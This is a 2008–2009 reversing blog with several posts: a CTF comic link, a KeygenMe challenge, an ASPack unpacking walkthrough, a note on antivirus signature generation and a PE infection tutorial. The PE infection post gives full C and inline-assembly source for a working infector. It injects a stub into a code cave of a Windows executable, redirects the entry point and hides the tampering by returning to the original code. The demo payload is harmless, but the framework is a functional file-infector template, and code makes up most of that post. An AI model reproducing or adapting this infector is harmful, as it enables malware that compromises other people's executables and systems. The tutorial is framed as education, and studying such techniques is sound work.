KOrUPt

July 16, 2009

Binary Leetness 300 Comic

Okay I’m sure 80% of you would have already seen this comic of ours but I figured I’d publish a link to it from here too…

Mongii, part of the Saphead’s binary analysis team, took the time to create the comic alongside the other Saphead’s and he did a great job may I point out!

Hopefully we’ll be able to produce more work in this form after the Defcon finals :) .

You can find the comic at:
http://hackerschool.org/DefconCTF/17/B300.html

Any feedback is appreciated as always!

Please spread the word where applicable and feel free to leave a pingback if you like. Thank you!

I hope you enjoy the comic as much as I did :) .

“That has got to be the coolest write up, ever, in the history of ever.” – DarkTangent. Glad you like it DarkTangent :) .

It was also nice to see the comic featured on HackADay at http://hackaday.com/2009/07/14/binary-reversing-comic/ :) .

KOrUPt.

December 26, 2008

Keygening anyone?

Filed under: Reversing — Tags: , , , , — KOrUPt @ 18:26

Below is a KeygenMe I’ve created for your enjoyment :P . This is one of my first.

Admittedly I could have made the algorithm considerably harder, but I didn’t want to overkill the first KeygenMe I released, so I kept it simple.

If you manage to Keygen it, consider writing a tutorial on how you did it, please leave a comment and let me know how you’re progressing.

Level: Intermediate.

Protection: Packed with UPX.

Rules: No Self-Keygening, no patching.

I may write a tutorial on how to beat it soon.

Any questions and or suggestions or similar, please leave a comment and I’ll get back to you as soon as possible.

Thanks for your time and happy cracking :) . Have a good new year.

Download: http://korupt.co.uk/KeygenMe1.exe

KOrUPt.

 

 

December 23, 2008

PE Infection

Filed under: Coding, Tips and Tricks — Tags: , , , , , — KOrUPt @ 22:37

Portable Executable file infection is a subject I always found to be sketchy. There was always a piece of the puzzle missing in my case… In this article I hope to clarify the matter and hopefully provide a good starting point for those wanting to learn how such tools work.

I want to mention that I’m writing this article with an intention of educating others. You may start out with PE infection, but eventually I hope that you’ll move onto authoring PE protection tools and exploiting your newly found knowledge in a positive and ethical manner. A lot can be learned during the development and implementation process of such tools.

I’ll mainly be using C and inline Assembler in this article and I’ll assume you’ve at least a working knowledge of both C and Assembler.

Firstly, what is a PE file? You can find out by skimming through this page:

Secondly, what is PE infection?

In my opinion PE infection is simply a method of inserting arbitrary (malicious) code into a compiled portable executable whilst maintaining the executable’s normal functionality(it still appears to execute as if it had not been tampered with).

Of course to infect a PE file we’ll need to know about the PE file format, various documents exist on this subject, I recommend you take a look at the following before you continue reading this article.

A typical PE file’s layout looks like this:

[MZ Header]

[MZ Signature]

[PE Headers]

[PE Signature]

[IMAGE_FILE_HEADER][IMAGE_OPTIONAL_HEADER]

[Section Table]

[Section 1][Section 2][Section n]

I’ve neglected the DOS header above but it shouldn’t matter too much, my goal is not to teach you the inner workings of the PE file format.

Inside the IMAGE_OPTIONAL_HEADER we’ve pointers to various data directories, these directories usually point to Import and Relocation table’s amongst other things that are contained in certain sections of the PE, we must preserve or rebuild these directories ourself should we want to destroy them… Such a case is if you encrypt a section that contains the contents of one the directories.

The basic idea behind PE infection is to first insert our code into slack space, modify the original entrypoint address to point to our code, execute it, then jump back to the host’s original entrypoint so the PE file executes as if our code didn’t exist.

Pseudo code would be similar to this:

  • Open target file
  • Verify MZ and PE signatures exist
  • Search for a specified length of NULL bytes starting from the beginning of the last section on disk
  • Write our stub into the newly located slack space
  • Modify our current entrypoint to point to the start of our newly inserted code
  • Close target file

Now I’d like to point out that Stub construction can usually be the harder part of PE infection, as you’ll find out shortly.

For now let’s begin with an implementation of our above Pseudo code…

We need to open the file and map it(this makes for easier modifications), I’m not going to explain what each API does as MSDN can do that for you.

The following snippet does this for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HANDLE hFile, hFileMap;
LPBYTE hMap;
DWORD fsize;
 
hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE){
	printf("[-] Cannot open %s\n", argv[1]);
	return 0;
}
 
fsize = GetFileSize(hFile, 0);
if(!fsize){
	printf("[-] Invalid file size\n");
	CloseHandle(hFile);
	return 0;
}
 
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
if(!hFileMap){
	printf("[-] CreateFileMapping failed\n");
	CloseHandle(hFile);
	return 0;
}
 
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
if(!hMap){
	printf("[-] MapViewOfFile failed\n");
	CloseHandle(hFileMap);
	CloseHandle(hFile);
	return 0;
}

Now we’ve a valid handle to our file we can begin by checking our MZ and PE signatures exist, Windows has pre built structures that make our job easier, they are as follows: 

1
2
3
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSection, pSectionHeader;

We can fill these in and check our signatures like so:

1
2
3
4
5
6
7
8
9
10
11
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
	printf("[-] DOS signature not found\n");
	goto cleanup;
}
 
pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
	printf("[-] NT signature not found\n");
	goto cleanup;
}

Ok so what’s left? Ah yes, we need to find some free space to write our stub code into, to do this we’ll need to walk the section table and locate the last section, then search for a few NULL bytes starting from the offset of the last section… Luckilly this is easier than it sounds. If we fail to find a sufficent amount of NULL bytes then we’ll need to expand the last section’s size so our code will fit in, I’ll go over this shortly.

The following code does this for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
pSection = pSectionHeader;
pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
 
DWORD writeOffset;
unsigned int i = pSection->PointerToRawData;
int charcounter = 0;
 
for(; i != fsize; i++){
	if((char *)hMap[i] == 0x00){
		if(charcounter++ == stubLength){
			printf("[+] Code cave located @ 0x%08lX\n", i);
			writeOffset = i;
		}
	}else charcounter = 0;
}
 
if(charcounter == 0 || writeOffset == 0){
	printf("[-] Could not locate a big enough code cave\n");
	goto cleanup;
}
 
writeOffset -= stubLength;

Once we’ve found some free space and got an offset on disk to it, we can write our stub there.

What Stub I hear you ask? …And this is where I start the chapter about Stub Construction.

Firstly, what is an (infection) Stub? To me a Stub is basically a small chunk of code that executes before the hosts code, basically our infection code.

Our stub will be written in inline Assembler, you can use nasm if you like, but for simplicity I’m going to do it this way.

You should ask yourself what you need your stub to do before you go about coding it, in my case I simply want to display a message box to the user, whilst this defeats the point of stealth I’m only trying to demonstrate a concept, so this will suffice for now.

In order to call API’s we’ll need to either:

  1. Use fixed address’s
  2. Walk kernel32’s export and resolve GetProcAddress() and GetModuleHandleA()

For simplicity, I’ve opted for option 1, I’ll leave an implementation of option 2 open as an exercise for a few days.

I’d like to point out that I’m using MS’s compiler and MSV6 at the moment, should you have compilation errors(I’d imagine you will with GCC).

Currently our stub looks like this(see below), I’ve commented the code to save a few words. This code doesn’t really do anything as of yet, it’s just the needed code.

1
2
3
4
5
6
7
8
9
10
11
12
13
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
	}
}

Now we can expand this code to call MessageBoxA() with our desired text. I’ll be using fixed address’s that may change on different OS’s so keep that in mind should you want your code to be portable… I’m using Windows XP SP2 at the moment.

Our Stub now looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define bb(x) __asm _emit x
 
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
 
		push MB_OK
		lea  eax, [ebp+szTitle]
		push eax
		lea  eax, [ebp+szText]
		push eax
		push 0
		mov  eax, 0xCCCCCCCC	// place holder for address of MessageBox
		call eax
 
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
 
		szText:
			bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
			bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
		szTitle:
			bb('O') bb('h') bb('a') bb('i') bb(0)
 
	}
}
void StubEnd(){}

Ok so now we’ve got our infection Stub, how do we write it into our PE file? This isn’t terribly difficult, just a simple call to memcpy() will suffice… but first we need to fill in those place holders scattered around our Stub. This will involve:

  1. Copying our inline assembler code into a buffer
  2. Locating the start of our place holder in the buffer
  3. Overwriting that place holder

Simple enough ‘ay… If you’re like me you may be able to understand code better than descriptions, not long to go now.

Now do you know what data we have to fill those place holders with? The first place holder needs to contain the virtual address of MessageBoxA, the second needs to contain the Original Entrypoint’s address in memory.

We can obtain the address of MessageBoxA like so:

1
2
3
4
5
6
7
hUser32 = LoadLibrary("User32.dll");
if(!hUser32){
	printf("[-] Could not load User32.dll");
	return 0;
}
 
dwAddress = (DWORD)GetProcAddress(hUser32, "MessageBoxA");

Remember those PE structures I asked you to read up about earlier? If you did your homework you’ll know the entrypoint on disk is stored in the IMAGE_OPTIONAL_HEADER structure, which can be found in the IMAGE_NT_HEADERS structure.

We need to store our original entrypoint so our stub can return to it later… This can be done like so:

1
2
3
DWORD oep, oepRva;
oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);

I can imagine you’re becoming tired now, I am… But we’re nearly there, there’s no point in my stopping now, only a few more bases to cover, I’ll contiue telling myself that too :p.

We now need to put our inline assembly code into a buffer, but first we need our Stub codes size, notice that "void StubEnd(){}" at the end of our Stub? This label exists so we can calculate our Stubs size without problems.

Allow me to enlighten you:

1
2
3
4
// work out stub size
DWORD start	 = (DWORD)StubStart;
DWORD end 	 = (DWORD)StubEnd;
DWORD stubLength = (end - start);

Once we’ve got the size, we can use memcpy() on our function as if it were a normal buffer. Like so:

1
2
3
4
5
stub = (unsigned char *)malloc(stubLength + 1);
if(!stub)
	goto cleanup;
 
memcpy(stub, StubStart, stubLength);

Now to actually locate and fill in our place holders, this part is easier than you may think and in my opinion the code should do a better job explaining it than I will at the moment(as it’s now gone 5am)…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// locate place holder offsets
for(i = 0, charcounter = 0; i != stubLength; i++){
	if(stub[i] == 0xCC){
		charcounter++;
		if(charcounter == 4 && callOffset == 0) callOffset = i - 3;
		else if(charcounter == 4 && oepOffset == 0) oepOffset = i - 3;
	}else charcounter = 0;
}
 
// check we've found them
if(oepOffset == 0 || callOffset == 0){
	free(stub);
	goto cleanup;
}
 
// fill in place holders
*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
 
// we no longer need this
FreeLibrary(hUser32);

We can now write our Stub into the free space we located earlier using memcpy() like so:

1
memcpy((PBYTE)hMap + writeOffset, stub, stubLength);

Now we need to repair our PE images section sizes and such, in this case I’m just going to increase the virtual size of the section we’ve modified(you may need to round it up to correct page alignment, I’ve decided to keep it simple in this case so I’m simply going to increase the size). I want to point out that this is usually not the only thing you may need to repair when dealing with some executable’s, things like raw size of sections and size of image may also need to repaired in some cases.

We can increase the section size like so:

1
2
// set section size
pSection->Misc.VirtualSize += stubLength;

Now we need to update the original entrypoint to point to our new code, we also need to make our new code section executable, this can be done like so:

1
2
3
4
5
pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
		FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
 
// change sections permission flags so we can execute code
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;

What happens if our executable has no slack space for our code to fit in? We can overcome this by mapping the file with a file size big enough to contain itself and our Stub, this will write the extra bytes into the file, after which we can use something like "writeOffset = dwNewFileSize + 4;". Here’s some code for those who don’t understand:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize + stubLength + 5, NULL);
if(!hFileMap){
	printf("[-] CreateFileMapping failed\n");
	CloseHandle(hFile);
	return 0;
}
 
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize + stubLength + 5);
if(!hMap){
	printf("[-] MapViewOfFile failed\n");
	CloseHandle(hFileMap);
	CloseHandle(hFile);
	return 0;
}
 
writeOffset = fsize;

Hopefully that helps clear things up a little.

What’s left? That was it! Cleaning up after ourselves.

This is probabbly the simplest part of all:

1
2
3
4
5
6
7
8
9
10
11
free(stub);
 
cleanup:
FlushViewOfFile(hMap, 0);
UnmapViewOfFile(hMap);
 
SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
CloseHandle(hFileMap);
CloseHandle(hFile);
return 0;

Finally, I’m not one to leave you hanging, below is the source code of our newly created PE infecter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
// PE Infecter by KOrUPt @ KOrUPt.co.uk
#include <windows.h>
#include <stdio.h>
 
#define bb(x) __asm _emit x
 
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
 
		push MB_OK
		lea  eax, [ebp+szTitle]
		push eax
		lea  eax, [ebp+szText]
		push eax
		push 0
		mov  eax, 0xCCCCCCCC
		call eax
 
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
 
		szText:
			bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
			bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
		szTitle:
			bb('O') bb('h') bb('a') bb('i') bb(0)
 
	}
}
void StubEnd(){}
 
// By Napalm
DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
{
    PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
    for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){
        if(dwFileAddr >= lpSecHdr->PointerToRawData){
            if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){
                dwFileAddr -= lpSecHdr->PointerToRawData;
                dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
                return dwFileAddr; 
            }
        }
 
		lpSecHdr++;
    }
 
    return NULL;
}
 
int main(int argc, char* argv[]) 
{    
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_SECTION_HEADER pSection, pSectionHeader;
	HANDLE hFile, hFileMap;
    HMODULE hUser32;
	LPBYTE hMap;
 
    int i = 0, charcounter = 0;
    DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
    unsigned char *stub;
 
	// work out stub size
	DWORD start	 = (DWORD)StubStart;
	DWORD end 	 = (DWORD)StubEnd;
	DWORD stubLength = (end - start);
 
    if(argc != 2){
        printf("Usage: %s [file]\n", argv[0]);
        return 0;
    }
 
	// map file
    hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("[-] Cannot open %s\n", argv[1]);
        return 0;
    }
 
	fsize = GetFileSize(hFile, 0);
	if(!fsize){
		printf("[-] Could not get files size\n");
		CloseHandle(hFile);
		return 0;
	}
 
    hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
    if(!hFileMap){
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hFile);
        return 0;
    }
 
    hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
    if(!hMap){
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
    }
 
	// check signatures
    pDosHeader = (PIMAGE_DOS_HEADER)hMap;
    if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
        printf("[-] DOS signature not found\n");
        goto cleanup;
    }
 
    pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
    if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
        printf("[-] NT signature not found\n");
        goto cleanup;
    }
 
    // get last section's header...
    pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    pSection = pSectionHeader;
	pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
 
	// save entrypoint
	oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
 
	// locate free space
	i = pSection->PointerToRawData;
	for(; i != fsize; i++){
		if((char *)hMap[i] == 0x00){
			if(charcounter++ == stubLength + 24){
				printf("[+] Code cave located @ 0x%08lX\n", i);
				writeOffset = i;
			}
		}else charcounter = 0;
	}
 
    if(charcounter == 0 || writeOffset == 0){
        printf("[-] Could not locate a big enough code cave\n");
        goto cleanup;
    }
 
	writeOffset -= stubLength;
 
    stub = (unsigned char *)malloc(stubLength + 1);
    if(!stub){
        printf("[-] Error allocating sufficent memory for code\n");
		goto cleanup;
    }
 
	// copy stub into a buffer
	memcpy(stub, StubStart, stubLength);
 
	// locate offsets of place holders in code
	for(i = 0, charcounter = 0; i != stubLength; i++){
        if(stub[i] == 0xCC){
            charcounter++;
			if(charcounter == 4 && callOffset == 0)
				callOffset = i - 3;
			else if(charcounter == 4 && oepOffset == 0)
				oepOffset = i - 3;
		}else charcounter = 0;
	}
 
	// check they're valid
	if(oepOffset == 0 || callOffset == 0){
		free(stub);
		goto cleanup;
	}
 
	hUser32 = LoadLibrary("User32.dll");
	if(!hUser32){
		free(stub);
		printf("[-] Could not load User32.dll");
		goto cleanup;
	}
 
	// fill in place holders
	*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
	*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
	FreeLibrary(hUser32);
 
	// write stub
	memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
 
	// set entrypoint
	pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
		FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
 
	// set section size
	pSection->Misc.VirtualSize += stubLength;
	pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
 
	// cleanup
	printf("[+] Stub written!!\n[*] Cleaning up\n");
	free(stub);
 
	cleanup:
	FlushViewOfFile(hMap, 0);
    UnmapViewOfFile(hMap);
 
    SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
    SetEndOfFile(hFile);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    return 0;
}

 

And I think that just about covers this blog post for now… I hope you enjoyed reading it. I look forward to reading your comments and reviews on this topic.

 

KOrUPt.

December 22, 2008

Unpacking ASPack

Filed under: Reversing — Tags: , , , , , , — KOrUPt @ 07:25

ASPack 2.12 is a fairly good packer, be it a good one, that’s all it really is… thus its level of protection isn’t that good… This packer is a good starting point for those looking to further their knowledge in reversing.

Packer: ASPack 2.12 -> Alexey Solodovnikov.
Level: Beginner.

Tools:
1. PEiD.
2. ImpRec.
3. OllyDbg.
4. OllyDump plugin.
5. Brain.

Open your target in OllyDbg, you should see a warning about the entrypoint being outside of the executable’s code section… Olly’s twigged that our target maybe packed and has decided to warn us… We know what we’re doing so we’ll be brave and continue.

There’s no point analysing the code as it’s compressed.

If you take a look at the instructions around ASPack’s entrypoint you should see something similar to this:

PUSHAD
CALL 005F300A
JMP 45BC34F7
PUSH EBP
RETN

We can get to OEP(Original-Entry-Point) using the ESP trick…

Step over the PUSHAD instruction(F8), notice the ESP register’s contents has now changed. Follow the ESP register in the dump window and set a hardware breakpoint(Size: dword. Type: on access) at the address you’ve just followed in the dump and press F9 to continue execution.

You should end up somewhere that looks similar to this:
JNZ L003
MOV EAX, 1
RETN 0×0C
L003:
PUSH 0×0040C2E4
RETN

ASPack uses a PUSH + RETN instruction as a jump to OEP(PUSH + RETN = JMP), so step through the loop until you hit the RETN instruction. Step into it(F7) and you’ll land at OEP.

I’m debugging a VB application so my OEP looks like the following:

PUSH 0×0040C8A0 ; Push “VB****” string
CALL 0×0040C2DC ; Call ThunRTMain

We can now continue by dumping the the application in its uncompressed form from memory using the OllyDump plugin, uncheck the rebuild imports option.

We now need to rebuild our dumped executable’s IAT if we want it to function correctly… IAT stands for Import-Address-Table, more info can be found about it here:  An in-depth look inside Windows PE files.

Most protectors and some packers destroy the IAT to prevent beginners from obtaining a working dump, ASPack is one of those packers.

Launch ImpRec and fill in the OEP field with the OEP you got from OllyDump(RVA(Realative-Virtual-Address) – ImageBase), now hit Auto-Search and then “Get Imports”… Most of the time(with ASPack) you wont have any invalid pointers and you can continue by just adding the IAT to your dump and saving changes…

In my case I had 2 invalid thunks, I proceeded by using ImpRec’s Trace Level 1 feature, this fixed one of the functions in the thunk table, but the other remained invalid, after disassembling it wasn’t too hard to notice the function was garbage(a trained eye helps in this case), I simply cut the invalid pointers away and contiued by attaching the IAT to my dump.

If all was done correctly your dump should execute fine.

As always, if you’ve any questions, please let me know.

KOrUPt.

December 21, 2008

Signature Generation

Filed under: Malware analysis, Reversing — Tags: , , , , , , , , — KOrUPt @ 20:47

Note to experienced readers: You may be able to skip the first history lesson and scroll straight to the “Off to work” part of this post.

Firstly, you may ask “What do you mean by ‘Signature Generation’?”. Have you ever wondered how Anti-Virus software does its job when heuristics are turned off? It searches the file in question and looks for references to certain unique sequences of assembly instructions(opcodes). If it finds the designated sequence of bytes(opcodes) it may trigger an alert accordingly.

Secondly, “Why would I want to bother creating a signature?”. There are many reasons why you may want to, if you’re reading this chances are you’ve already got that reason, but I’m going to list a few just for the sake of completeness.

  1. You need to identify a sample that currently has no existing signatures.
  2. You’re passionate about what you do and want to further your knowledge.

Now that Isn’t  a lot of reasons, but keep in mind that reason 1 covers a very wide spectrum, in my case I needed to remove an infection(A Windows PE infecter) that had no existing signatures publicly available. I wanted to automate the disinfection process and thus I needed to identify the sample before I attempted to disinfect an uninfected file…

I hope you can now grasp why(if you didn’t already) understanding the basics of Signature creation can be useful.

Locating packer/protector signatures in malware is usually not a problem when you’ve got such tools as PEiD and RDG Packer Detector along with their corresponding databases lying around your hard-drive… But at times they won’t find anything, the same applies to Anti-Virus software.

Off to work… We need to know where in the file to look for signatures… There are 2 commonly used methods, they are as follows:

  1. With a Windows PE file we may be able to start searching from the executable’s entrypoint.
  2. We can also consider searching from the start of the file(offset 0).

Clearly option 1 should be preferred, as when you’re scanning a file for potentially thousands of signatures, scanning the entire files contents can take quite a while even on fast systems.

My usual path is to start at the entrypoint of the file and look for any static or constant code, it’s a good idea to search around core initialization routines, as if they are changed too much the executable may no longer function.

You can also generate MD5 hashes of common compiler generated entrypoints, you could then consider scanning some of your sample’s to check which  ones have known entrypoints, if you don’t get a match you can bet your executable is packed or protected, should this packer be unknown you can start looking for signatures. If you’ve got a load undetected sample’s lying around it can help to have this process automated for you.

There are various ways to find signatures in PE files, common places and things to check are as follows:

  1. Similarity’s in section names.
  2. Section offsets and sizes.
  3. Bytes around the entrypoint.
  4. Start and end of sections.
  5. Around the Import Table.

Once you have a signature, you can take a collection of infected sample’s, scan them all and hopefully all will match, if so, you can safely say you’ve got a signature that should hopefully be unique to this strain.

Once this is done you should consider adapting the signature so it is compatible with PEiD’s database and such, consider sharing it with the world to save others time in the future… Of course you should make sure you have updated signature files, otherwise you may find you’re working on an already detected sample…

I’ve covered the basic idea behind generating signatures and such, I may provide a case study in the future but I don’t have time at the moment, at 623+ words I think this post is long enough without me going into depth with case studies.

If you have any questions, please leave a comment.

KOrUPt.

December 20, 2008

It begins…

Filed under: General — Tags: , , , , — KOrUPt @ 17:30


Welcome!

Here I shall be talking about various coding and reversing related projects of mine amongst other things…

Sit back and drop by every now and then for some interesting reads.

KOrUPt.

Powered by WordPress